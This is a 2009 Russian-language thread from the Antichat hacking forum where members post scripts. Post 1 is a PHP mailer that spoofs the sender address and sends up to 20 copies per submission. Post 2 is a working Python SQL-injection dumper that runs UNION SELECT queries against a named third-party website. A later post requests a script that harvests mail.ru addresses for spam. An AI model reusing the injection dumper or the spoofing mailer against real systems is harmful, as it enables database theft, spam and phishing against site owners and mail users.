HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.03.2009, 22:19
Andrej1928
Новичок
Регистрация: 19.11.2008
Сообщений: 6
Провел на форуме:
16517

Репутация: 1
По умолчанию

парни может кто допишет функцию для вложения фаилов в письмо очень надо
PHP код:
<?php 

print <<<HERE 
<style type "text/css"
body 
  
font-familyArial


#inputone { 
  
width100%; 


#textarea { 
  
width100%; 
  
height500px


#infotd { 
  
font-size13px
  
width100px


#infotd2 { 
  
font-size13px


#bgcolor_infotd { 
  
background-color#dbeaff; 


#good_send { 
  
color#00419a; 


#sends { 
  
width20px


#notice { 
  
colorred


</
style

HERE

$html_or_text $_GET["html_or_text"]; 
$sends $_GET["sendes"]; 

if(
$_GET["html_or_text"] == 1) { 
  
$htmltext "\r\nContent-type: text/plain"
} else if (
$_GET["html_or_text"] == 2) { 
  
$htmltext "\r\nContent-type: text/html"
} else {} 

if(
$_GET["codir"] == 1) { 
  
$cod "windows-1251"
} else if (
$_GET["codir"] == 2){ 
  
iconv("windows-1251""utf-8"$email $them $body $send_full $htmltext); 
  
$cod "utf-8"
} else {} 

$mime "$htmltext; charset = \"$cod\""

if(
$_GET["sender_name"] == TRUE) { 
  
$sender_full $sender_name " <" $sender_mail ">"
} else { 
  
$sender_full $sender_mail

   
if(isset(
$_GET["send"])) { 
  for(
$i 0$i $_GET["sendes"]; $i++) { 
    
mail("$email""$them""$body""From: $sender_full $mime"); 
  } 
  print 
"<center><span id = \"good_send\">Сообщение отправлено</span></center>"
  
$fp fopen("result.txt""a"); 
  
$content = <<<HERE 
IP
$REMOTE_ADDR 
Agent
$HTTP_USER_AGENT 
Cookie
$QUERY_STRING 

Отправитель (e-mail): $sender_mail 
Отправитель 
(имя): $sender_name 
E
-mail$email 
Тема
$them 
Текст письма 

$body 
text
/html$html_or_text 
Количество писем за раз
$sends 
----------------------------- 

HERE

  
fputs($fp$content); 
  
fclose($fp); 
} else { 
  print <<<
HERE 
      
<form
  <
table border "0" width "100%" id "infotd2" cellpadding "1" cellspacing "1"
  <
tr id "bgcolor_infotd"
    <
td id "infotd"
      
От кого (e-mail): 
    </
td
    <
td
        <
input type "text" id "inputone" name "sender_mail" value "bill@microsoft.com" /> 
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td id "infotd"
      
От кого (Имя): 
    </
td
    <
td
        <
input type "text" id "inputone" name "sender_name" value "Билл" /> 
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td id "infotd"
      
Кому<span id "notice">*</span>: 
    </
td
    <
td
        <
input type "text" id "inputone" name "email" value "admin@mail.ru" /> 
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td id "infotd"
      
Тема письма<span id "notice">*</span>: 
    </
td
    <
td
        <
input type "text" id "inputone" name "them" value "Hello" /> 
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td valign "top" id "infotd"
      
Текст письма<span id "notice">*</span>: 
    </
td
    <
td
        <
textarea name "body" id "textarea">You are lol:)</textarea
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td colspan "2"
        
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td colspan "2"
        <
input type "radio" name "html_or_text" value "1" checked "checked">Только текст 
        
<input type "radio" name "html_or_text" value "2">HTML и текст 
    
</td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td colspan "2"
        
Количество писем за раз
        <
select name "sendes"
          <
option value "1">1</option
          <
option value "2">2</option
          <
option value "3">3</option
          <
option value "4">4</option
          <
option value "5">5</option
          <
option value "6">6</option
          <
option value "7">7</option
          <
option value "8">8</option
          <
option value "9">9</option
          <
option value "10">10</option
          <
option value "11">11</option
          <
option value "12">12</option
          <
option value "13">13</option
          <
option value "14">14</option
          <
option value "15">15</option
          <
option value "16">16</option
          <
option value "17">17</option
          <
option value "18">18</option
          <
option value "19">19</option
          <
option value "20">20</option
       </
select
    </
td
  </
tr
  <
tr id "bgcolor_infotd"
    <
td colspan "2"
        
Кодировка письма
        <
select name "codir"
          <
option value "1">windows-1251</option
          <
option value "2">utf-8</option
       </
select
    </
td
  </
tr
  <
tr
    <
td valign "top" colspan "2"
  <
table border "0" width "100%" id "infotd2"
    <
td valign "top"
      
Поля отмеченные знаком <span id "notice">*</spanобязательны для заполнения 
    
</td
    <
td colspan "2" align "right"
        <
input type "reset" value "Вернуть" /> 
        <
input type "submit" value "Отправить" /> 
        <
input type "hidden" name "send" /> 
    </
td
  <
table
    </
td
  </
tr
      </
form

HERE



?>
 
Ответить с цитированием

  #2  
Старый 02.03.2009, 22:48
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Код:
#!/usr/bin/python
#sqldump
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
for i in range(1,30):
 site='http://www.mothernaturalclean.com/int.php?id=3+and+0+union+select+1,2,table_name+from+information_schema.tables+limit+' +str(i) + ',1'
 bl=str(urllib.urlopen(site).read())
 dump=re.findall(r'n\"\>\<a href=.*?\=1\">.*?\</a>',bl)
 dump=str(dump)[2:-2]
 dump=dump[27:]
 dump=dump.replace('</a>','')
 print dump
дампер скл через limit.. на питоне, написан мной.
 
Ответить с цитированием

antichat info
  #3  
Старый 04.03.2009, 01:19
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию antichat info

Код:
#!/usr/bin/python
#antichat.ru info
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
print 'antichat.ru info by faza02'
while 1:
 u=raw_input(u'user: ')
 antichat=urllib.urlopen('http://forum.antichat.ru/member.php?u='+ u).read()
 nick=re.findall(r'\<span class=\"normal\"\>.*?\</span\>\</td\>',antichat)
 nick=str(nick)[2:-2]
 nick=nick[23:]
 nick=nick.replace('</span></td>','')
 rep=re.findall(r'\(\<b\>.*?\</b\>/\<b\>.*?\</b\>\)',antichat)
 rep=str(rep)[2:-2]
 rep=rep.replace('</b>','')
 rep=rep.replace('<b>','')
 post=re.findall(r'\<strong\>.*?\</strong\> \(',antichat)
 post=str(post)[2:-2]
 post=post.replace('<strong>','')
 post=post.replace('</strong> (','')
 reg=re.findall(': \<strong\>.*?200.*?\</strong\>',antichat)
 reg=str(reg)[2:-2]
 reg=reg.replace(': <strong>','')
 reg=reg.replace('</strong>','')

 print '\nnick: ' + nick
 print 'reputation: ' + rep[1:-1]
 print 'posts: ' + post
 print 'registration: ' + reg
дело было вечером, делать было нечего..))
ник, репу, посты и регу выводит, нужного вам юзера на ачате..
 
Ответить с цитированием

  #4  
Старый 04.03.2009, 01:27
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


По умолчанию

Цитата:
Сообщение от faza02  
Код:
#!/usr/bin/python
#antichat.ru info
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
print 'antichat.ru info by faza02'
while 1:
 u=raw_input(u'user: ')
 antichat=urllib.urlopen('http://forum.antichat.ru/member.php?u='+ u).read()
 nick=re.findall(r'\<span class=\"normal\"\>.*?\</span\>\</td\>',antichat)
 nick=str(nick)[2:-2]
 nick=nick[23:]
 nick=nick.replace('</span></td>','')
 rep=re.findall(r'\(\<b\>.*?\</b\>/\<b\>.*?\</b\>\)',antichat)
 rep=str(rep)[2:-2]
 rep=rep.replace('</b>','')
 rep=rep.replace('<b>','')
 post=re.findall(r'\<strong\>.*?\</strong\> \(',antichat)
 post=str(post)[2:-2]
 post=post.replace('<strong>','')
 post=post.replace('</strong> (','')
 reg=re.findall(': \<strong\>.*?200.*?\</strong\>',antichat)
 reg=str(reg)[2:-2]
 reg=reg.replace(': <strong>','')
 reg=reg.replace('</strong>','')

 print '\nnick: ' + nick
 print 'reputation: ' + rep[1:-1]
 print 'posts: ' + post
 print 'registration: ' + reg
дело было вечером, делать было нечего..))
ник, репу, посты и регу выводит, нужного вам юзера на ачате..
Многовато операций...
 
Ответить с цитированием

Encoder v.1.0
  #5  
Старый 05.03.2009, 17:26
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


По умолчанию Encoder v.1.0

Encoder v.1.0 - win32-Encoder для кодирования/декодирования ваших данных по различным алгоритмам:
-------
Encode:
-------
1. Text->MD5
2. Text->CHR chr(49).chr(50).chr(51).chr(50).chr(49)
3. Text->MSSQL char(49)%2bchar(50)%2bchar(51)%2bchar(50)%2bchar(4 9)
4. Text->HEX1 0x3132333231
5. Text->HEX2 %31%32%33%32%31
6. Text->PostgreSql chr(49)||chr(50)||chr(51)||chr(50)||chr(49)
7. Text->ASC,String.fromCharCode()
8. Text->Base64
9. Text->CRC32
10.Text->SHA1
11. Text->ASC2 char(49,50,51,50,49)
12. Text->Urlencode
13. Text->Htmlentities
14. Text->\x format
15. MD5 check file hash sum
16. CRC32 check file hash sum
17. SHA-1 check file hash sum
-------
Decode:
-------
1. CHR chr(49).chr(50).chr(51).chr(50).chr(49)->Text
2. MSSQL char(49)%2bchar(50)%2bchar(51)%2bchar(50)%2bchar(4 9)->Text
3. HEX1 0x3132333231->Text
4. HEX2 %31%32%33%32%31->Text
5. PostgreSql chr(49)||chr(50)||chr(51)||chr(50)||chr(49)->Text
6. ASC,String.fromCharCode()->Text
7. Base64->Text
8. ASC2 char(49,50,51,50,49)->Text
9. Urlencode->Text
10. Htmlentities->Text
11. \x format->Text
12. Detect HASH type



Скачать: http://bug-track.ru/prog/encoder1.0.rar

Последний раз редактировалось Pashkela; 21.06.2009 в 14:59..
 
Ответить с цитированием

  #6  
Старый 05.03.2009, 17:34
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме:
94171

Репутация: 3
По умолчанию

Исходники где?
 
Ответить с цитированием

  #7  
Старый 05.03.2009, 18:01
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


По умолчанию

пока прижму
 
Ответить с цитированием

  #8  
Старый 06.03.2009, 12:55
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
По умолчанию

Ну вот вчера решил написать маленький скрипт что бы следить кто пытаеться проломиться в админ панель)
Не у многих из вас админка находиться по адресу site.ru/admin.php ) етот скрипт как раз можна назвать admin.php и залить на сайт)))
PHP код:
<?php
    $time 
date("d.m.Y G:i.s");
    
$ip $_SERVER['REMOTE_ADDR'];
    
$fd fopen("test.txt""a+");///вместо test.txt путь к файлу для записи логов
    
fwrite($fd"$time---$ip\n");
    
fclose($fd);
?>
записывает время и ип в таком формате
06.03.2009 11:49.15---127.0.0.1

что бы очистить полностью test.txt поможет етот скрипт
PHP код:
<?php
    $fd 
fopen("test.txt""w+");/// вместо test.txt путь к файлу для очистки
    
fclose($fd);
?>
п.с Токо не ставьте минусы, я токо учусь
 
Ответить с цитированием

  #9  
Старый 06.03.2009, 13:12
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940

Репутация: 2362
По умолчанию

Цитата:
Сообщение от zifanchuck  
Ну вот вчера решил написать маленький скрипт что бы следить кто пытаеться проломиться в админ панель)
Зачем городить еще одни логи?
Код:
cat /var/log/apache2/error.log | grep admin.php
 
Ответить с цитированием

  #10  
Старый 06.03.2009, 18:49
bi_w
Новичок
Регистрация: 05.01.2009
Сообщений: 3
Провел на форуме:
31607

Репутация: 0
По умолчанию

Всем добрый день или вечер, с утра просидел искал на этом форуме скрипт, но не нашел. Для сбора базы mail.ru, типа спаммер (поиск через зарегенные пользователи), где можно ставить параметры поиска и онлайн, программа есть, но нужен скрипт. Если у кого-нибудь есть что-нибудь поделитесь пожалуйста. Только сильно ногами не пинайте. Заранее благодарен. Все, иду есть...

Последний раз редактировалось bi_w; 06.03.2009 в 18:54..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.